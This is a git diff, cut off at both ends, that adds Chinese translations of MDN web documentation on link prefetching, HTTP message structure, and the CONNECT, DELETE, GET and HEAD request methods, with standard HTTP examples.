id="预取是否使用HTTPS?">预取是否使用HTTPS?</h3> + +<p>从 Gecko 1.9.1 (Firefox 3.5) 开始,支持获取 https 内容.</p> + +<h3 id="What_are_the_prefetching_hints.3F" name="What_are_the_prefetching_hints.3F">什么是预取提示?</h3> + +<p>浏览器会查找关系类型(rel)为 next 或 prefetch 的 HTML{{ HTMLElement("link") }} 或 <a href="/en-US/docs/Web/HTTP/Headers" title="HTTP headers">HTTP <code>Link:</code> header</a>。下面是一个使用 link 标签的例子:</p> + +<pre class="eval"><link rel="prefetch" href="/images/big.jpeg"> +</pre> + +<p>同样效果的使用 HTTP Link: header 的例子:</p> + +<pre class="eval">Link: </images/big.jpeg>; rel=prefetch +</pre> + +<p>Link: header 也可以通过使用 HTML meta 标签定义在 HTML 文档中:</p> + +<pre class="eval"><meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch"> +</pre> + +<p><code>Link:</code> header 的格式在 <a class="external" href="http://tools.ietf.org/html/rfc5988" title="http://tools.ietf.org/html/rfc5988">RFC 5988</a> section 5 中有所描述。</p> + +<p>浏览器检查所有这些预取提示,并将每一个独立的请求排到队列之中,然后浏览器空闲时将对这些请求进行预取。每个页面都可以有多个预取提示,因为预取多个文档是合理的。例如,未来要访问的页面可能包含多张大图。</p> + +<p>下面是更多例子:</p> + +<pre class="eval"><link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"> +<link rel="next" href="2.html"> +</pre> + +<h3 id="Are_anchor_.28.3Ca.3E.29_tags_prefetched.3F" name="Are_anchor_.28.3Ca.3E.29_tags_prefetched.3F">a 标签(<a>) 会被预取吗?</h3> + +<p>不会,只有带有关系类型为 next 或 prefetch 的 <link> 标签会被预拉取。但是,如果该特性收到足够的关注,我们在未来可能会支持带有关系类型为 next 或 prefetch 的 <a> 标签的预取。这样做可能会帮助内容提供者避免预取内容过期的问题。</p> + +<h3 id="Is_link_prefetching_standards_compliant.3F" name="Is_link_prefetching_standards_compliant.3F">链接预取是符合规范的吗?</h3> + +<p>是的,本文档中描述的链接预取和现有 web 规范不冲突。实际上,在 HTML 4.01 规范允许定义新的 link type(参见 <a href="http://www.w3.org/TR/html4/types.html#type-links">章节 6.12:Like types</a>)。但是 Mozilla 采用的具体处理机制还没有确定规范。一份互联网草案正在准备中。</p> + +<p>本特性的规范属于 HTML 5 的一部分,参见最新的工作草案,<a href="http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch">章节 §5.11.3.13. Link type "prefetch"</a>。</p> + +<h3 id="How_is_browser_idle_time_determined.3F" name="How_is_browser_idle_time_determined.3F">浏览器的空闲时间是如何确定的?</h3> + +<p>在目前(Moilla 1.2),空闲时间的确定是通过 <code>nsIWebProgressListener</code> API 实现的。我们在顶层 <code>nsIWebProgress 对象</code> ("@<a class="linkification-ext external" href="http://mozilla.org/docloaderservice;1" title="Linkification: http://mozilla.org/docloaderservice;1">mozilla.org/docloaderservice;1</a>") 上附加了一个监听器。通过监听器,我们能够收到文档开始和停止的通知,从而将最后一个文档停止到下一个文档开始之间的间隔作为空闲时间的近似值。最后一个文档停止的通知大致会在顶层文档的 onLoad 方法即将被触发时发出。此时即是开始预取的时间点。如果一个子文档包含了预取提示,这些预取操作将会等到最顶层文档和其子文档完成加载后才会开始进行。</p> + +<h3 id="What_happens_if_I_click_on_a_link_while_something_is_being_prefetched.3F" name="What_happens_if_I_click_on_a_link_while_something_is_being_prefetched.3F">资源正在被预载时点击了某个链接会发生什么?</h3> + +<p>当用户点击一个连接,或开始任何形式的页面加载时,预取操作将被停止且任何预取提示将被丢弃。如果一个预取文档只下载了一部分,那么这部分文档将被保存在缓存中,供服务端发送一个 "Accept-Ranges: bytes" 的返回头。这个返回头通常是由网络服务器在返回静态内容时生成的。当用户真正访问这个已经(部分)预载过的文档时,该文档的剩余部分将被通过一个 HTTP byte-range 的请求获取。</p> + +<h3 id="What_if_I.27m_downloading_something_in_the_background.3F_Will_link_prefetching_compete_for_bandwidth.3F" name="What_if_I.27m_downloading_something_in_the_background.3F_Will_link_prefetching_compete_for_bandwidth.3F">如果后台正在进行下载任务会发生什么?预取会争夺带宽吗?</h3> + +<p>视情况而定。如果你正在使用 Mozilla 下载某些东西,预取将被推迟到下载结束。例如,如果你尝试加载书签组(将会开启多个浏览器标签),任何由书签组某页面发出的预取请求将被延迟到所有标签加载完毕时进行。如果你正在使用其他依赖网络的应用程序,那么 Mozilla 中的预取可能会与它们竞争带宽。这个问题我们希望将来能够借助操作系统服务去检测网络空闲时间来解决。</p> + +<h3 id="Are_there_any_restrictions_on_what_is_prefetched.3F" name="Are_there_any_restrictions_on_what_is_prefetched.3F">对预取内容是否有限制?</h3> + +<p>是的,只有 http:// (从 {{ Gecko("1.9.1") }} 开始支持 https:// ) 的 URL 可以被预取。其他协议(如 FTP)没有对客户端缓存提供足够的支持。</p> + +<h3 id="Will_Mozilla_prefetch_documents_from_a_different_host.3F" name="Will_Mozilla_prefetch_documents_from_a_different_host.3F">Mozilla 能够预取不同宿主的文档吗?</h3> + +<p>可以。预取不受同源限制。限制预取来自同一个服务器并不会对增强浏览器的安全性有所帮助。</p> + +<h3 id="Do_prefetched_requests_contain_a_Referer_header.3F" name="Do_prefetched_requests_contain_a_Referer:_header.3F">预提取的请求是否包含Referer: header?</h3> + +<p>是的,预取的请求包含一个HTTP <code>Referer:</code> header,指示从中提取预取提示的文档。</p> + +<p>这可能会影响许多站点上常用的引荐来源跟踪。 因此,链接预取可能不适用于所有内容。 但是,可以通过指定<code>Cache-control: must-revalidate </code>HTTP response header,指示Mozilla在用户遵循href到预提取文档时验证预提取文档。 此标头可启用缓存,但在从浏览器的缓存中提供文档之前,需要<code>If-Modified-Since</code>或<code>If-None-Match</code>验证请求。</p> + +<h3 id="As_a_server_admin.2C_can_I_distinguish_prefetch_requests_from_normal_requests.3F" name="As_a_server_admin.2C_can_I_distinguish_prefetch_requests_from_normal_requests.3F">作为服务器管理员,我可以区分预取请求和普通请求吗?</h3> + +<p>是的,我们将以下标头与每个预取请求一起发送:</p> + +<pre>X-moz: prefetch</pre> + +<p>Of course, this request header is not at all standardized, and it may change in future Mozilla releases. Chrome uses "X-Purpose: prefetch" or "Purpose: prefetch" <a href="https://bugs.webkit.org/show_bug.cgi?id=46529">header</a>.当然,此请求标头根本不是标准化的,并且在将来的Mozilla版本中可能会更改。 Chrome使用“ X-Purpose: prefetch”或“Purpose: prefetch的<a href="https://bugs.webkit.org/show_bug.cgi?id=46529">header</a>。</p> + +<h3 id="Is_there_a_preference_to_disable_link_prefetching.3F" name="Is_there_a_preference_to_disable_link_prefetching.3F">是否有禁用链接预取的首选项?</h3> + +<p>是的,您可以设置一个隐藏的首选项来禁用链接预取。 将此行添加到位于配置文件目录中的prefs.js文件中(或通过<a class="linkification-ext" href="/about:config" title="Linkification: about:config">about:config</a>进行适当的更改):</p> + +<pre class="eval">user_pref("network.prefetch-next", false); +</pre> + +<p>但是,从理论上讲,如果需要禁用链接预取,则实现一定存在问题。 如果它不能正确运行,我们宁愿改进实现,也不希望用户找到并调整一些晦涩的偏好。</p> + +<h3 id="What_about_folks_who_pay-per-byte_for_network_bandwidth.3F" name="What_about_folks_who_pay-per-byte_for_network_bandwidth.3F">那些按字节支付网络带宽的人呢?</h3> + +<p>Basically, there are two ways of looking at this issue: websites can already cause things to be silently downloaded using JS/DOM hacks. prefetching is a browser feature; users should be able to disable it easily.</p> + +<p>It is important that websites adopt <code><link></code> tag based prefetching instead of trying to roll-in silent downloading using various JS/DOM hacks. The <code><link></code> tag gives the browser the ability to know what sites are up to, and we can use this information to better prioritize document prefetching. The user preference to disable <code><link></code> tag prefetching may simply encourage websites to stick with JS/DOM hacks, and that would not be good for users. This is one reason why prefetching is enabled by default.</p> + +<p>基本上,有两种方法可以解决此问题:网站已经可以使用JS / DOM之类的hacks方式静默下载内容。 预取是浏览器功能; 用户应该能够轻松禁用它。</p> + +<p>网站采用基于<code><link></code>标记的预取非常重要,而不是尝试使用各种JS / DOM之类的hacks方式进行静默下载。 <code><link></code>标记使浏览器能够知道正在访问哪些站点,我们可以使用此信息更好地确定文档预取的优先级。 用户偏好禁用<code><link></code>标记预取可能只是鼓励网站坚持使用JS / DOM之类的hacks方式,这对用户不利。 这是默认情况下启用预取的原因之一。</p> + +<h3 id="Which_browsers_support_link_prefetching.3F" name="Which_browsers_support_link_prefetching.3F">哪些浏览器支持链接预取?</h3> + +<p>基于Mozilla 1.2(或更高版本)的浏览器以及基于Mozilla 1.0.2(或更高版本)的浏览器均支持预取。 这包括Firefox和Netscape 7.01+。 截至2003年3月,Camino构建基于Mozilla 1.0.1,因此不支持预取。 测试您的浏览器是否支持链接预取。</p> + +<h3 id="Privacy_implications" name="Privacy_implications">隐私问题</h3> + +<p>除了上面已经提到的引用和URL跟随含义外,预取通常会导致访问预取站点的cookie。 (例如,如果您使用google amazon,则google结果页面将预取www.amazon.com,从而导致amazon cookie来回发送。您可以在Firefox中阻止第三方cookie,请参参阅 <a class="external" href="http://support.mozilla.com/en-US/kb/Disabling%20third%20party%20cookies" title="http://support.mozilla.com/en-US/kb/Disabling third party cookies">Disabling third party cookies</a>。)</p> + +<h3 id="What_about....3F" name="What_about....3F">关于...?</h3> + +<p>如果您对链接预取有任何疑问或意见,请随时按我的方式发送它们:-)</p> + +<h4 id="See_also..." name="See_also...">也可以看看...</h4> + +<p><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints</a></p> + +<div class="originaldocinfo"> +<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2> + +<ul> + <li>Author(s): Darin Fisher (darin at meer dot net)</li> + <li>Last Updated Date: Updated: March 3, 2003</li> +</ul> +</div> diff --git a/files/zh-cn/web/http/messages/index.html b/files/zh-cn/web/http/messages/index.html new file mode 100644 index 0000000000..8bfa071b77 --- /dev/null +++ b/files/zh-cn/web/http/messages/index.html @@ -0,0 +1,144 @@ +--- +title: HTTP消息 +slug: Web/HTTP/Messages +tags: + - 指南 HTTP +translation_of: Web/HTTP/Messages +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP消息是服务器和客户端之间交换数据的方式。有两种类型的消息︰ 请求(requests)--由客户端发送用来触发一个服务器上的动作;响应(responses)--来自服务器的应答。</p> + +<p>HTTP消息由采用ASCII编码的多行文本构成。在HTTP/1.1及早期版本中,这些消息通过连接公开地发送。在HTTP/2中,为了优化和性能方面的改进,曾经可人工阅读的消息被分到多个HTTP帧中。</p> + +<p>Web 开发人员或网站管理员,很少自己手工创建这些原始的HTTP消息︰ 由软件、浏览器、 代理或服务器完成。他们通过配置文件(用于代理服务器或服务器),API (用于浏览器)或其他接口提供HTTP消息。</p> + +<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p> + +<p>HTTP/2二进制框架机制被设计为不需要改动任何API或配置文件即可应用︰ 它大体上对用户是透明的。</p> + +<div class="textArea" id="destText" style="direction: ltr;"> +<div><span id="ouHighlight__0_3TO0_3">HTTP</span><span id="noHighlight_0.5187132851681917"> </span><span id="ouHighlight__5_12TO5_6">请求</span><span id="ouHighlight__15_17TO7_7">和</span><span id="ouHighlight__19_27TO8_9">响应</span><span id="ouHighlight__28_28TO10_10">具有</span><span id="ouHighlight__36_42TO13_14">相似</span><span id="noHighlight_0.6112710687035254">的</span><span id="ouHighlight__44_52TO16_17">结构,</span><span id="ouHighlight__54_56TO18_18">由以下部分</span><span id="ouHighlight__62_69TO19_20">组成</span><span id="ouHighlight__73_73TO21_21">︰</span></div> +</div> + +<ol> + <li>一行<span class="highlighted" id="ouHighlight__4_13TO0_2">起</span>始行用于描述要执行的请求,或者是对应的状态,成功或失败。这个<span class="highlighted" id="ouHighlight__4_13TO0_2">起</span>始行总是单行的。</li> + <li>一个可选的HTTP头集合指明请求或描述消息正文。</li> + <li>一个空行指示所有关于请求的元数据已经发送完毕。</li> + <li>一个可选的包含请求相关数据的正文 (比如HTML表单内容), 或者响应相关的文档。 正文的大小有<span class="highlighted" id="ouHighlight__4_13TO0_2">起</span>始行的HTTP头来指定。</li> +</ol> + +<p><span class="highlighted" id="ouHighlight__4_13TO0_2">起始行</span><span id="ouHighlight__15_17TO3_3">和</span><span id="noHighlight_0.24094207099483878"> </span><span id="noHighlight_0.20506469395890603"> </span><span id="ouHighlight__39_42TO14_17">HTTP</span><span id="noHighlight_0.7326949190272041"> </span><span id="ouHighlight__44_50TO19_20">消息中的</span><span id="ouHighlight__19_22TO5_8">HTTP</span><span id="noHighlight_0.8511727000124978"> </span><span id="ouHighlight__24_30TO10_11">头</span><span id="ouHighlight__52_73TO21_22">统称</span><span id="ouHighlight__75_76TO23_23">为</span><span id="ouHighlight__94_101TO27_28">请求头</span><span id="ouHighlight__102_102TO29_29">,</span><span id="ouHighlight__104_110TO30_30">而</span><span id="ouHighlight__112_114TO31_31">其</span><span id="ouHighlight__116_122TO32_35">有效负载</span><span id="ouHighlight__124_125TO36_36">被</span><span id="ouHighlight__127_134TO37_38">称为</span><span id="ouHighlight__140_143TO39_40">消息正文</span><span id="noHighlight_0.0840453271452073">。</span></p> + +<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p> + +<h2 id="HTTP_请求">HTTP 请求</h2> + +<h3 id="起始行"><span class="highlighted" id="ouHighlight__4_13TO0_2">起始行</span></h3> + +<p>HTTP请求是由客户端发出的消息,用来使服务器执行动作。<em>起始行 (start-line) </em>包含三个元素:</p> + +<ol> + <li>一个 <em><a href="/en-US/docs/Web/HTTP/Methods">HTTP 方法</a></em>,一个动词 (像 {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} 或者 {{HTTPMethod("POST")}}) 或者一个名词 (像 {{HTTPMethod("HEAD")}} 或者 {{HTTPMethod("OPTIONS")}}), 描述要执行的动作. 例如, <code>GET</code> 表示要获取资源,<code>POST</code> 表示向服务器推送数据 (创建或修改资源, 或者产生要返回的临时文件)。</li> + <li><em>请求目标 (request target),</em>通常是一个 {{glossary("URL")}},或者是协议、端口和域名的绝对路径,通常以请求的环境为特征。请求的格式因不同的 HTTP 方法而异。它可以是: + <ul> + <li>一个绝对路径,末尾跟上一个 ' ? ' 和查询字符串。这是最常见的形式,称为 <em>原始形式 (origin form)</em>,被 GET,POST,HEAD 和 OPTIONS 方法所使用。<br> + <code>POST / HTTP/1.1<br> + GET /background.png HTTP/1.0<br> + HEAD /test.html?query=alibaba HTTP/1.1<br> + OPTIONS /anypage.html HTTP/1.0</code></li> + <li>一个完整的URL,被称为 <em>绝对形式 (absolute form)</em>,主要在使用 <code>GET</code> 方法连接到代理时使用。<br> + <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li> + <li>由域名和可选端口(以<code>':'</code>为前缀)组成的 URL 的 authority component,称为 <em>authority form</em>。 仅在使用 <code>CONNECT</code> 建立 HTTP 隧道时才使用。<br> + <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li> + <li><em>星号形式 (asterisk form)</em>,一个简单的星号(<code>'*'</code>),配合 <code>OPTIONS</code> 方法使用,代表整个服务器。<br> + <code>OPTIONS * HTTP/1.1</code></li> + </ul> + </li> + <li><em>HTTP 版本 (HTTP version</em>)<em>,</em>定义了剩余报文的结构,作为对期望的响应版本的指示符。</li> +</ol> + +<h3 id="Headers">Headers</h3> + +<p>来自请求的 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> 遵循和 HTTP header 相同的基本结构:不区分大小写的字符串,紧跟着的冒号 <code>(':')</code> 和一个结构取决于 header 的值。 整个 header(包括值)由一行组成,这一行可以相当长。</p> + +<p>有许多请求头可用,它们可以分为几组:</p> + +<ul> + <li><em>General headers,</em>例如 {{HTTPHeader("Via")}},适用于整个报文。</li> + <li><em>Request headers,</em>例如<em> </em>{{HTTPHeader("User-Agent")}},{{HTTPHeader("Accept-Type")}},通过进一步的定义(例如 {{HTTPHeader("Accept-Language")}}),或者给定上下文(例如 {{HTTPHeader("Referer")}}),或者进行有条件的限制 (例如 {{HTTPHeader("If-None")}}) 来修改请求。</li> + <li><em>Entity headers,</em>例如 {{HTTPHeader("Content-Length")}},适用于请求的 body。显然,如果请求中没有任何 body,则不会发送这样的头文件。</li> +</ul> + +<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p> + +<h3 id="Body">Body</h3> + +<p>请求的最后一部分是它的 body。不是所有的请求都有一个 body:例如获取资源的请求,GET,HEAD,DELETE 和 OPTIONS,通常它们不需要 body。 有些请求将数据发送到服务器以便更新数据:常见的的情况是 POST 请求(包含 HTML 表单数据)。</p> + +<p>Body 大致可分为两类:</p> + +<ul> + <li>Single-resource bodies,由一个单文件组成。该类型 body 由两个 header 定义: {{HTTPHeader("Content-Type")}} 和 {{HTTPHeader("Content-Length")}}.</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Multiple-resource bodies</a>,由多部分 body 组成,每一部分包含不同的信息位。通常是和 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> 连系在一起。</li> +</ul> + +<h2 id="HTTP_响应">HTTP 响应</h2> + +<h3 id="状态行">状态行</h3> + +<p>HTTP 响应的起始行被称作 <em>状态行</em> <em>(status line)</em>,包含以下信息:</p> + +<ol> + <li><em>协议版本</em>,通常为 <code>HTTP/1.1。</code></li> + <li><em>状态码 (</em><em>status code)</em>,表明请求是成功或失败。常见的状态码是 {{HTTPStatus("200")}},{{HTTPStatus("404")}},或 {{HTTPStatus("302")}}。</li> + <li><em>状态文本 (status text)</em>。一个简短的,纯粹的信息,通过状态码的文本描述,帮助人们理解该 HTTP 消息。</li> +</ol> + +<p>一个典型的状态行看起来像这样:<code>HTTP/1.1 404 Not Found</code>。</p> + +<h3 id="Headers_2">Headers</h3> + +<p>响应的 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> 遵循和任何其它 header 相同的结构:不区分大小写的字符串,紧跟着的冒号 (<code>':'</code>) 和一个结构取决于 header 类型的值。 整个 header(包括其值)表现为单行形式。</p> + +<p>有许多响应头可用,这些响应头可以分为几组:</p> + +<ul> + <li><em>General headers,</em>例如 {{HTTPHeader("Via")}},适用于整个报文。</li> + <li><em>Response headers,</em>例如 {{HTTPHeader("Vary")}} 和 {{HTTPHeader("Accept-Ranges")}},提供其它不符合状态行的关于服务器的信息。</li> + <li><em>Entity headers</em>,例如 {{HTTPHeader("Content-Length")}},适用于请求的 body。显然,如果请求中没有任何 body,则不会发送这样的头文件。</li> +</ul> + +<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p> + +<h3 id="Body_2">Body</h3> + +<p>响应的最后一部分是 body。不是所有的响应都有 body:具有状态码 (如 {{HTTPStatus("201")}} 或 {{HTTPStatus("204")}}) 的响应,通常不会有 body。</p> + +<p>Body 大致可分为三类:</p> + +<ul> + <li>Single-resource bodies,由<strong>已知</strong>长度的单个文件组成。该类型 body 由两个 header 定义:{{HTTPHeader("Content-Type")}} 和 {{HTTPHeader("Content-Length")}}。</li> + <li>Single-resource bodies,由<strong>未知</strong>长度的单个文件组成,通过将 {{HTTPHeader("Transfer-Encoding")}} 设置为 <code>chunked </code>来使用 chunks 编码。</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Multiple-resource bodies</a>,由多部分 body 组成,每部分包含不同的信息段。但这是比较少见的。</li> +</ul> + +<h2 id="HTTP2_帧">HTTP/2 帧</h2> + +<p>HTTP/1.x 报文有一些性能上的缺点:</p> + +<ul> + <li>Header 不像 body,它不会被压缩。</li> + <li>两个报文之间的 header 通常非常相似,但它们仍然在连接中重复传输。</li> + <li>无法复用。当在同一个服务器打开几个连接时:TCP 热连接比冷连接更加有效。</li> +</ul> + +<p>HTTP/2 引入了一个额外的步骤:它将 HTTP/1.x 消息分成帧并嵌入到流 (stream) 中。数据帧和报头帧分离,这将允许报头压缩。将多个流组合,这是一个被称为 <em>多路复用 (multiplexing) </em>的过程,它允许更有效的底层 TCP 连接。</p> + +<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p> + +<p>HTTP 帧现在对 Web 开发人员是透明的。在 HTTP/2 中,这是一个在 HTTP/1.1 和底层传输协议之间附加的步骤。Web 开发人员不需要在其使用的 API 中做任何更改来利用 HTTP 帧;当浏览器和服务器都可用时,HTTP/2 将被打开并使用。</p> + +<h2 id="结论">结论</h2> + +<p>HTTP 报文是使用 HTTP 的关键;它们的结构简单,并且具有高可扩展性。HTTP/2 帧机制是在 HTTP/1.x 语法和底层传输协议之间增加了一个新的中间层,而没有从根本上修改它,即它是建立在经过验证的机制之上。</p> diff --git a/files/zh-cn/web/http/methods/connect/index.html b/files/zh-cn/web/http/methods/connect/index.html new file mode 100644 index 0000000000..580b9b13f7 --- /dev/null +++ b/files/zh-cn/web/http/methods/connect/index.html @@ -0,0 +1,85 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +tags: + - 请求方法 + - 隧道 +translation_of: Web/HTTP/Methods/CONNECT +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中,<strong><code>CONNECT</code> </strong>方法可以开启一个客户端与所请求资源之间的双向沟通的通道。它可以用来创建隧道(tunnel)。</p> + +<p>例如,<strong><code>CONNECT</code> </strong>可以用来访问采用了 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 协议的站点。客户端要求代理服务器将 TCP 连接作为通往目的主机隧道。之后该服务器会代替客户端与目的主机建立连接。连接建立好之后,代理服务器会面向客户端发送或接收 TCP 消息流。</p> + +<p><code>CONNECT</code> 是一个应用范围为点到点的方法。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request has body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Successful response has body</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1 +</pre> + +<h2 id="示例">示例</h2> + +<p>一些代理服务器在创建隧道时会要求进行身份验证。参见 {{HTTPHeader("Proxy-Authorization")}} 首部。</p> + +<pre class="line-numbers language-html">CONNECT server.example.com:80 HTTP/1.1 +Host: server.example.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.CONNECT")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> +</ul> diff --git a/files/zh-cn/web/http/methods/delete/index.html b/files/zh-cn/web/http/methods/delete/index.html new file mode 100644 index 0000000000..5da1185b7c --- /dev/null +++ b/files/zh-cn/web/http/methods/delete/index.html @@ -0,0 +1,103 @@ +--- +title: DELETE +slug: Web/HTTP/Methods/DELETE +tags: + - HTTP + - HTTP方法 + - 参考 + - 请求方法 +translation_of: Web/HTTP/Methods/DELETE +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP DELETE </strong>请求方法用于删除指定的资源。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">请求是否有主体</th> + <td>可以有</td> + </tr> + <tr> + <th scope="row">成功的返回是否有主体</th> + <td>可以有</td> + </tr> + <tr> + <th scope="row">{{Glossary("安全")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">{{Glossary("幂等")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("可缓存")}}</th> + <td>否</td> + </tr> + <tr> + <th scope="row">可以在<a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a>中使用</th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">DELETE /file.html HTTP/1.1 +</pre> + +<h2 id="示例">示例</h2> + +<h3 id="请求">请求</h3> + +<pre>DELETE /file.html HTTP/1.1</pre> + +<h3 id="响应">响应</h3> + +<p>如果 <code>DELETE </code>方法成功执行,那么可能会有以下几种状态码:</p> + +<ul> + <li>状态码 {{HTTPStatus("202")}} (<code>Accepted</code>) 表示请求的操作可能会成功执行,但是尚未开始执行。</li> + <li>状态码 {{HTTPStatus("204")}} (<code>No Content</code>) 表示操作已执行,但是无进一步的相关信息。</li> + <li>状态码 {{HTTPStatus("200")}} (<code>OK</code>) 表示操作已执行,并且响应中提供了相关状态的描述信息。</li> +</ul> + +<pre>HTTP/1.1 200 OK +Date: Wed, 21 Oct 2015 07:28:00 GMT + +<html> + <body> + <h1>File deleted.</h1> + </body> +</html></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "DELETE", "4.3.5")}}</td> + <td> + <p>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{Compat("http.methods.DELETE")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li> +</ul> + +<p> </p> + +<p> </p> diff --git a/files/zh-cn/web/http/methods/get/index.html b/files/zh-cn/web/http/methods/get/index.html new file mode 100644 index 0000000000..5f59bd2423 --- /dev/null +++ b/files/zh-cn/web/http/methods/get/index.html @@ -0,0 +1,71 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +tags: + - HTTP + - 参考 + - 请求方法 +translation_of: Web/HTTP/Methods/GET +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP<code> GET</code> 方法</strong>请求指定的资源。使用 <code>GET</code> 的请求应该只用于获取数据。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">请求是否有主体</th> + <td>否</td> + </tr> + <tr> + <th scope="row">成功的响应是否有主体</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("安全")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("幂等")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">{{Glossary("可缓存")}}</th> + <td>是</td> + </tr> + <tr> + <th scope="row">HTML 表单是否支持</th> + <td>是</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">GET /index.html +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "GET", "4.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("http.methods.GET")}}</p> + +<h2 id="另见">另见</h2> + +<ul> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/zh-cn/web/http/methods/head/index.html b/files/zh-cn/web/http/methods/head/index.html new file mode 100644 index 0000000000..5b48e1a727 --- /dev/null +++ b/files/zh-cn/web/http/methods/head/index.html @@ -0,0 +1,77 @@ +--- +title: HEAD +slug: Web/HTTP/Methods/HEAD +tags: + - HTTP + - 参考 + - 请求方法 +translation_of: Web/HTTP/Methods/HEAD +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>HTTP <code>HEAD</code> 方法</strong> 请求资源的头部信息, 并且这些头部与 HTTP {{HTTPMethod("GET")}} 方法请求时返回的一致. 该请求方法的一个使用场景是在下载一个大文件前先获取其大小再决定是否要下载, 以此可以节约带宽资源.</p> + +<p><code>HEAD</code> 方法的响应不应包含响应正文. 即使包含了正文也必须忽略掉. 虽然描述正文信息的 {{glossary("Entity header", "entity headers")}}, 例如 {{HTTPHeader("Content-Length")}} 可能会包含在响应中, 但它们并不是用来描述 <code>HEAD</code> 响应本身的, 而是用来描述同样情况下的 {{HTTPMethod("GET")}} 请求应该返回的响应.</p> + +<p>如果 <code>HEAD</code> 请求的结果显示在上一次 {{HTTPMethod("GET")}} 请求后缓存的资源已经过期了, 即使没有发出{{HTTPMethod("GET")}}请求,缓存也会失效</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">请求是否有正文</th> + <td>否</td> + </tr> + <tr> + <th scope="row">成功的响应是否有正文</th> + 